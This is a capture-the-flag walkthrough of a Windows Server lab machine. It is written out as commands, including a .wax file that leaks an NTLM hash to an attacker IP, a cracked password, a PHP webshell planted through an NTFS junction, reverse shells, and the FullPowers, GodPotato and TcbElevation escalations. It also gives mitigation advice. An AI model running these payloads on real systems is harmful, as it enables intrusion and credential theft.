Overview

Windows Server 2022 (build 10.0.20348). Stack: Apache XAMPP + PHP 8.1.

StageTechniqueResult
Reconnmap: 22 (SSH), 80 (HTTP), 3389 (RDP)Windows, a video upload form
Foothold.wax/.asx playlist leaks Net-NTLMv2 via Responderhash for MEDIA\enox
Crackhashcat -m 5600 + rockyouenox:1234virus@
AccessSSH (WinRM/5985 is closed)shell as enox
LateralNTFS junction from Uploads\<md5> to C:\xampp\htdocswrite a webshell as Apache
Shellwebshell + reverse shellnt authority\local service
PrivEscFullPowers (recover SeImpersonate) then GodPotatont authority\system

Two official paths to SYSTEM:

  • FullPowers then GodPotato (abusing SeImpersonatePrivilege)
  • HTB official: abuse SeTcbPrivilege via the TcbElevation PoC (add a user to Administrators)

Reconnaissance

1
2
nmap -p- --min-rate 10000 <IP>
nmap -p 22,80,3389 -sCV <IP>
  • TTL 127: a Windows host, one hop.
  • SSH on Windows (OpenSSH for_Windows_9.5): unusual, but this is the login path (WinRM 5985 is closed, so evil-winrm is out).
  • Apache 2.4.56 (Win64) ... PHP/8.1.17: default XAMPP.
  • The default Apache 404 confirms XAMPP and leaks versions.

Web: a “ProMotion Studio” site with an upload form. The field description states the file is opened in Windows Media Player, which is the whole attack surface.

feroxbuster -x php finds /phpmyadmin, /webalizer, /examples (403/503), typical XAMPP dead ends.

Initial Access

Net-NTLMv2 theft via a WMP file

WMP playlist files (.wax, .asx, .m3u) can point at a remote resource over UNC (file://server\... or \\server\...). When WMP on the server opens such a file, it tries to fetch the stream from the given host and automatically authenticates with its NTLM hash (SMB auth). Point it at your machine running Responder and you capture the Net-NTLMv2 for the account that opened the file (here the review.ps1 automation running as enox).

Reference: Morphisec, “NTLM Privilege Escalation: The Unpatched Microsoft Vulnerabilities” (example #4 is .wax).

Minimal .wax (XML/ASX format):

1
2
3
4
5
6
7
<asx version="3.0">
  <title>Leak</title>
  <entry>
    <title></title>
    <ref href="file://10.10.14.x\test\ghost.mp3"/>
  </entry>
</asx>

Or with a tool:

1
2
git clone https://github.com/Greenwolf/ntlm_theft
python3 ntlm_theft.py -g all -s <YOUR_IP> -f media   # generates .wax .asx .m3u and more

.wax and .asx work reliably. .m3u only fires on interactive open.

Capture and crack:

1
2
3
4
5
sudo responder -I tun0            # start the listener
# ...upload the file through the form; the hash arrives in about 60s...

hashcat -m 5600 enox.hash rockyou.txt
# -> enox:1234virus@

Login:

1
2
sshpass -p '1234virus@' ssh enox@<IP>     # WinRM is closed, so SSH
# user.txt in C:\Users\enox\Desktop

A closed WinRM does not mean no access; OpenSSH is increasingly common on Windows. Always check 22.

Lateral Movement

NTFS junction to the web root

Goal: from enox (a low-privilege user) write a PHP file into the web root for RCE as the Apache account (LOCAL SERVICE), which has more privileges.

Source (C:\xampp\htdocs\index.php):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$uploadDir = 'C:/Windows/Tasks/Uploads/';
$folderName = md5($firstname . $lastname . $email);   // predictable folder name
$targetDir  = $uploadDir . $folderName . '/';

if (!file_exists($targetDir)) {   // if the folder EXISTS, mkdir is skipped
    mkdir($targetDir, 0777, true);
}
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
$targetFile = $targetDir . $sanitizedFilename;
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile);   // write follows the junction

Three critical facts:

  1. The folder name is predictable: md5(firstname + lastname + email), computable offline:

    1
    
    echo -n "[email protected]" | md5sum   # -> 317d52e7c825dd847d9c750a35547edc
    
  2. if (!file_exists(...)): if the folder already exists (because we replace it with a junction), PHP does not overwrite it.

  3. move_uploaded_file runs as the Apache process (LOCAL SERVICE), so the write happens with Apache’s privileges, not ours.

Step by step:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 1. upload any file through the form to learn/create the <md5> folder
# 2. remove the contents and the folder itself
rm C:\Windows\Tasks\Uploads\<md5>\shell.php
rm C:\Windows\Tasks\Uploads\<md5>

# 3. create a junction in place of the deleted folder
cmd /c mklink /J C:\Windows\Tasks\Uploads\<md5> C:\xampp\htdocs
#   or PowerShell:
New-Item -ItemType Junction -Path "C:\Windows\Tasks\Uploads\<md5>" -Target "C:\xampp\htdocs"

# 4. upload shell.php again with the SAME data (same md5)
#    file_exists() = true -> mkdir skipped -> move_uploaded_file writes
#    to <md5>\shell.php, which via the junction lands in C:\xampp\htdocs\shell.php

Webshell:

1
<?php system($_GET['cmd']); ?>
1
curl 'http://<IP>/shell.php?cmd=whoami'      # -> nt authority\local service

An NTFS junction is a reparse point that works only for directories; a reference to it is transparently redirected to the target. Unlike symlinks, a junction does not require admin rights or SeCreateSymbolicLinkPrivilege; a regular user can create one given write access to the source directory. The attack: a higher-privileged process (Apache = LOCAL SERVICE) follows the link and performs an operation (a file write) in a location we could not write to, but it can. This is link-following file operation abuse.

Reading icacls Output

icacls prints ACLs: who can do what with a file or folder. One line (an ACE) is:

1
PRINCIPAL:(inheritance_flags)(permission_mask)

Permission masks:

ShortMeaningOffensive meaning
FFull controlEverything: write, delete, change ACL, take ownership
MModifyWrite + read + delete (not ACL change)
RXRead & executeRead + run
RRead onlyRead
WWrite onlyWrite (append data/files)
DDeleteDelete
WDWrite DACChange permissions (dangerous)
WOWrite OwnerTake ownership (dangerous)

They can also appear expanded in brackets, for example (DE,WDAC,WO,...) (DE=delete, WDAC=write DAC, WO=write owner, GA=generic all).

Inheritance flags:

FlagNameMeaning
(I)InheritedThe rule was inherited from the parent, not set directly
(OI)Object InheritFiles in this folder inherit the rule
(CI)Container InheritSubfolders inherit the rule
(IO)Inherit OnlyThe rule does NOT apply to this object, only to objects inheriting from it
(NP)No PropagateInheritance only one level down

The most important offensive distinction:

  • (OI)(CI) without (IO): the rule applies to this object AND its children.
  • (OI)(CI)(IO): the rule applies only to children, NOT to the object itself. This is a trap when skim-reading: you see “Full” and think you have Full on the folder, but (IO) means only on what is created inside it.

The uploads folder (icacls * in C:\Windows\Tasks\Uploads):

1
2
3
4
5
6
7
<md5>   Everyone:(I)(OI)(CI)(F)
        BUILTIN\Administrators:(I)(F)
        BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
        NT AUTHORITY\SYSTEM:(I)(F)
        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
        NT AUTHORITY\LOCAL SERVICE:(I)(F)
        CREATOR OWNER:(I)(OI)(CI)(IO)(F)
  • Everyone:(I)(OI)(CI)(F): everyone has Full control, inherited, propagated to files and folders. So enox can delete and create objects here, which means it can delete the folder and plant a junction. This is what enables the attack.
  • BUILTIN\Administrators:(I)(F): admins have Full on the object itself.
  • ...:(I)(OI)(CI)(IO)(F): an inheritance-only entry (IO), does not apply to this object. Ignore it when assessing “what can I do here”.

The web root (icacls C:\xampp\htdocs):

1
2
3
4
5
6
MEDIA\Administrator:(I)(OI)(CI)(F)
NT AUTHORITY\LOCAL SERVICE:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
  • NT AUTHORITY\LOCAL SERVICE:(I)(OI)(CI)(F): the Apache account has Full control on htdocs, so it can write shell.php.
  • BUILTIN\Users:(I)(OI)(CI)(RX): if enox tried to write to htdocs directly, it would get only RX (read/execute), no write.

That is the whole point of the junction attack: enox has no write to htdocs but has Full on the uploads folder, and Apache (which has write to htdocs) performs the write for us, redirected through the junction.

What to look for in icacls:

  • Everyone:(...)(F/M/W) or BUILTIN\Users:(...)(F/M/W) where it should not be: a misconfiguration, almost always exploitable.
  • (F), (M), (W), (WD), (WO) for your account on a service binary, scheduled script or DLL: a potential privesc.
  • (IO): does not apply to the object itself, only to future children.
  • (I): only tells you the origin (inherited vs explicit), not what you can do.

Privilege Escalation

After a reverse shell as nt authority\local service (PowerShell #3 Base64 from revshells.com, delivered through the webshell), the real privesc begins.

Trimmed privileges

1
whoami /priv
1
2
3
4
5
SeTcbPrivilege                ... Disabled
SeChangeNotifyPrivilege       ... Enabled
SeCreateGlobalPrivilege       ... Enabled
SeIncreaseWorkingSetPrivilege ... Disabled
SeTimeZonePrivilege           ... Disabled

No SeImpersonatePrivilege. Service accounts (LOCAL SERVICE, NETWORK SERVICE, IIS/Apache) normally have it by default, which is their Achilles’ heel. Here the privilege set has been deliberately trimmed (token filtering / service configuration) to make potato attacks harder.

FullPowers, recovering the default privilege set

FullPowers (itm4n) exploits the fact that service accounts should by definition have the full default privilege set. It creates a Task Scheduler task in the service account’s context; the process spawned by the scheduler gets a fresh token with the full default set, including SeAssignPrimaryTokenPrivilege and SeImpersonatePrivilege. FullPowers then runs the given process (our reverse shell) in that context.

1
2
3
4
scp FullPowers.exe enox@<IP>:/programdata/

# -c: command to run in the recovered context; -z: non-interactive
.\FullPowers.exe -c 'powershell -e <BASE64_REVSHELL>' -z

After the new reverse shell connects:

1
whoami /priv
1
2
3
SeAssignPrimaryTokenPrivilege ... Enabled
SeImpersonatePrivilege        ... Enabled   <-- recovered
SeAuditPrivilege              ... Enabled

GodPotato, abusing SeImpersonatePrivilege

SeImpersonatePrivilege (“Impersonate a client after authentication”) lets a process take the security context (token) of a client that authenticated to it. Legitimate for services; abused as follows:

  1. The attacker stands up an endpoint (named pipe / COM / RPC).
  2. Coerces a high-privileged process (running as SYSTEM) to authenticate to that endpoint.
  3. With SeImpersonate, takes the SYSTEM token of that connection and creates a process in the SYSTEM context.

The potato family:

  • RottenPotato / JuicyPotato: older, DCOM/NTLM reflection; JuicyPotato does not work on newer Windows (10 1809+ / Server 2019+).
  • PrintSpoofer: coerce via the Print Spooler service (named pipe).
  • RoguePotato / SweetPotato: newer DCOM variants.
  • GodPotato: universal, based on DCOM/RPC (RPCSS) abuse; works from Win8 / Server 2012 to Server 2022. The default choice here.
1
2
scp GodPotato-NET4.exe enox@<IP>:/programdata/gp.exe
.\gp.exe -cmd 'powershell -e <BASE64_REVSHELL>'

GodPotato finds a SYSTEM token (PID:888 ... NT AUTHORITY\SYSTEM), unmarshals a DCOM object, impersonates and starts a process as SYSTEM.

1
2
nt authority\system
# root.txt in C:\Users\Administrator\Desktop

Alternative path, SeTcbPrivilege

The official HTB writeup uses SeTcbPrivilege (“Act as part of the operating system”), one of the most powerful Windows privileges: it lets code create tokens and impersonate any user, acting as part of the TCB (Trusted Computing Base).

PoC TcbElevation (compile: x86_64-w64-mingw32-g++ TcbElevation.cpp -o TcbElevation.exe -lsecur32 -municode):

1
2
3
.\TcbElevation-x64.exe elevate 'net localgroup Administrators enox /add'
# ("Error starting service 1053" can be misleading; check the effect)
net localgroup Administrators   # -> enox added

Then log in over SSH as enox (now an Administrator). Confirm groups with whoami /groups (BUILTIN\Administrators, S-1-5-114).

Check whoami /priv for the privilege you have: SeImpersonate / SeAssignPrimaryToken -> potato; SeTcb -> act-as-OS PoC; SeBackup / SeRestore -> copy SAM/SYSTEM; SeDebug -> inject into a SYSTEM process.

Detection and Mitigation

  • Never open untrusted WMP/playlist files on a server automatically; they force NTLM auth over UNC. Block outbound SMB (445/139) and disable automatic NTLM fallback.
  • Enforce strong passwords: 1234virus@ fell in seconds against rockyou.
  • Application: do not use predictable path names (md5 of user data), validate extensions server-side, store outside the web root, disable PHP execution in the uploads directory.
  • Protect against link-following: higher-privileged processes should not follow links created by lower-privileged accounts (redirection guard / ProcessMitigation).
  • Do not trim a service privilege “halfway”: removing SeImpersonate without blocking Task Scheduler achieves nothing (FullPowers recovers it). Harden service accounts fully and monitor task creation.

Lessons Learned

  • A closed WinRM does not mean no access; check SSH on Windows.
  • A junction redirects a higher-privileged process’s write into a location you cannot reach.
  • (IO) in icacls means the ACE applies only to future children.
  • FullPowers proves that trimming SeImpersonate alone is not a mitigation.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# recon
nmap -p- --min-rate 10000 <IP>; nmap -p 22,80,3389 -sCV <IP>
feroxbuster -u http://<IP> -x php -w raft-medium-directories-lowercase.txt

# NTLM leak
python3 ntlm_theft.py -g all -s <IP> -f media
sudo responder -I tun0
hashcat -m 5600 enox.hash rockyou.txt
sshpass -p '1234virus@' ssh enox@<IP>

# junction abuse (on the target)
echo -n "[email protected]" | md5sum
rm C:\Windows\Tasks\Uploads\<md5>
cmd /c mklink /J C:\Windows\Tasks\Uploads\<md5> C:\xampp\htdocs
# upload shell.php with the same data
curl 'http://<IP>/shell.php?cmd=whoami'

# privesc
whoami /priv
.\FullPowers.exe -c 'powershell -e <B64>' -z        # recover SeImpersonate
.\gp.exe -cmd 'powershell -e <B64>'                 # GodPotato -> SYSTEM
# alternative: .\TcbElevation-x64.exe elevate 'net localgroup Administrators enox /add'

# icacls
icacls C:\path
# (I)=inherited (OI)=files (CI)=subfolders (IO)=children only, NOT this object